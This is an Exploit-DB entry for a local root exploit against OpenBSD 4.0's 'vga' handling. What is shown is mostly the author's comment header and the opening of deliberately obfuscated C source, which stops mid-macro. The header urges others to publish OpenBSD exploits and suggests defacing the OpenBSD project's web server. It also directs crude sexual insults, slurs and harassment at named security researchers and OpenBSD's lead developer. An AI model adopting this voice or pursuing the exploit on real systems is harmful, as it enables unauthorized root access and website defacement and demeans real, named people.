Exploit-DB #5979
Description: OpenBSD 4.0 - 'vga' Local Privilege Escalation
Type: local
Platform: openbsd
Date: 2008-07-01
Author: lul-disclosure inc.

Exploit:
/*
 *      [ A PRODUCTION OF LUL-DISLCOSURE INC. ]
 *                         PROUDLY PRESENTS...
 *
 *                                     888                    888 
 *                                     888                    888 
 *                                     888                    888 
 *  .d88b.  88888b.   .d88b.  88888b.  88888b.  .d8888b   .d88888 
 * d88""88b 888 "88b d8P  Y8b 888 "88b 888 "88b 88K      d88" 888 
 * 888  888 888 [PII_REDACTED]8 888  888 888  888 "Y8888b. 888  888 
 * Y88..88P 888 d88P Y8b.     888  888 888 d88P      X88 Y88b 888 
 *  "Y88P"  88888P"   "Y8888  888  888 88888P"   88888P'  "Y88888 
 *          888                                                   
 *          888                                                   
 *          888                      DID YOU EVER FEEL THE RUSH...
 *                     d8b d8b              ...FOR JIZZ?     
 *                     Y8P Y8P
 *                                               
 *                    8888 888 [PII_REDACTED] 
 *                    "888 888    d88P     d88P  
 *                     888 888   d88P     d88P   
 *                     888 888  d88P     d88P    
 *                     888 888 [PII_REDACTED] 
 *                     888                       
 *                    d88P                       
 *                  888P"
 *
 * My final contribution, DA WORLD'S FIRST ANIMATED EXPLOIT!, is the foundation
 * for the next generation of OpenBSD exploits, crafted to burn Theo's eyes and make
 * him spend countless hours not only exercising his supreme reversing skills
 * but also delay his already deadly slow patch release timing. Hopefully every
 * fucktard out there willing to release an exploit for one of the many OpenBSD
 * locally exploitable issues, will give this insanely advanced code a good use.
 * Make sure you include some sanity checks (ie. if uid == 0 and hostname ==
 * cvs.openbsd.org make it do something creative like updating their index.html
 * once in a while).
 *
 * I would like to thank the following people for all the support, fun and
 * inspiration during my pilgrimage through the incredibly broken community known
 * as the security industry:
 *      Jesus H. Christ, Brute Dong, Bob, GOBBLES, towlie, noir and spender.
 *
 * I could name several people that I would love to either curbstomp or rape
 * anally (enjoying every inch of their rectum, though many of them would enjoy
 * the experience too, i know you dig dicks guys!), but I'll be a nice kid and
 * simply say that I love how this hdm, jf, FAilja, et al are nothing but
 * cock monglers. I enjoy how some of them have lost their jobs or got banned
 * by US immigration. And I also thank McDonalds for making you fatfucks get more
 * obese and ugly every year. And I'm sorry for the poor strippers that have to
 * stand the reality of being the only thing ressembling a woman you've ever had
 * the opportunity to see naked, besides your crack head cock-gobbling mom when
 * she sodomized you with a chop stick (and we know you liked it).
 * Hehehehe. BANANA! BANANA! BANANA! BTW, has gadi evron stopped crying for cocks
 * on craigslist men seeking men board? That fat fuck is sick. LULZ!
 *
 * OpenBSD is obsolete, aged, poorly designed, worsly developed and horribly
 * maintained. And led by a guy who needs to take his head out of his frozen
 * Canadian ass. FUCK YOU THEO, I'VE GOT YOUR DARPA FUNDING!
 *
 * This exploit abuses an old bug to gain root privileges on an OpenBSD 4.0
 * system. The ipv6 bug was never fully implemented because this shit made
 * me get a brain tumor. FUCK YOU THEO! LULZ LULZ LULZ LULZ LULZ LULZ LULZ
 *
 *  -- 2008 - by LMH
 *
 */
#include /*pax*/<string.h>/*drepper libc rocking on*//**//**//**//**//**//*   */
#include /*It seems to me so strange*/<stdlib.h>/*tax*//**//**//**//**//**//* */
#include /*aint*/<stdio.h>/*mmap NULL rocking the kernel on*//**//**//**//**//**/
#include /*Check wallet for her name*/<unistd.h>/*lax!*//**//**//**//**//**//**/
#include /*Her face is in the muck*/<sys/param.h>/**//**//**//**//**//**//* * */
#include /*Her face is in the muck*/<err.h>/**//**//**//**//**//**//**//**//* */
#include /*I think her zippers stuck*/<sys/ioctl.h>/*death    OPENBSD SECURE  */
#include /*It is perfect for me*/<sys/syscall.h>/*threats    THANKS TO PAX    */
#include /*To practice surgery*/<fcntl.h>/**//**//*  #########   BUY   */
#include /*One look coagulates*/<sys/types.h>/*mail ##horror##    ### SPENDER */
#include /*Its time to operate*/<sys/stat.h>/*arrives #sick###    ### A NEW   */
#include /*Just keep it going*/<sys/mman.h>/*pain ###pain#####    ### POSTER! */
#include /*Just keep it going*/<sys/sysctl.h>/*feels ##dumb###    ############*/
#define /*Just keep it going*/ma main/*theo: ##feels########## ance M  #######*/
#define /*Shes not dead, shes gonna live*/s /*fuck*/stdout/*##   Havok #######*/
#define /*Shes not dead, shes gonna live*/x fflush/*the ######################*/
#define /*I see her eyes rolling back in her head*/_s /*pain*/sleep/* GG NOIR */
#define /*Come on lets take her home*/f for/**//**//**//**//**//**//**//**//* */
#define /*I think i heard her groan*/v /*what*/void/**//**//**//**//**//**//* */
#define /*Hold on or she will sink*/__0 while/**//**//**//**//**//**//**//*   */
#define /*Just keep it going*/_c /*is*/char/*acter issues*//**//**//**//**//* */
#define /*You can fake it*/_____ sizeof/**//**//**//**//**//**//*  *//**//*   */
#define /*It's time to operate*/____ /*the*/printf/**//**//**//**//**//**//*  */
#define /*It's time to operate*/___ return/**//**//**//**//**//**//*  *//**//**/
#define /*It's time to operate*/__ /*of*/int/**//**//**//**//**//**//**//**//**/
#define /*It's time to operate*/_t static/**//**//**//**//**//**//**//**//*   */
#define /*It's time to operate*/_ki struct kinfo_proc/**//**//**//**//**//*   */
#define /*It's time to opera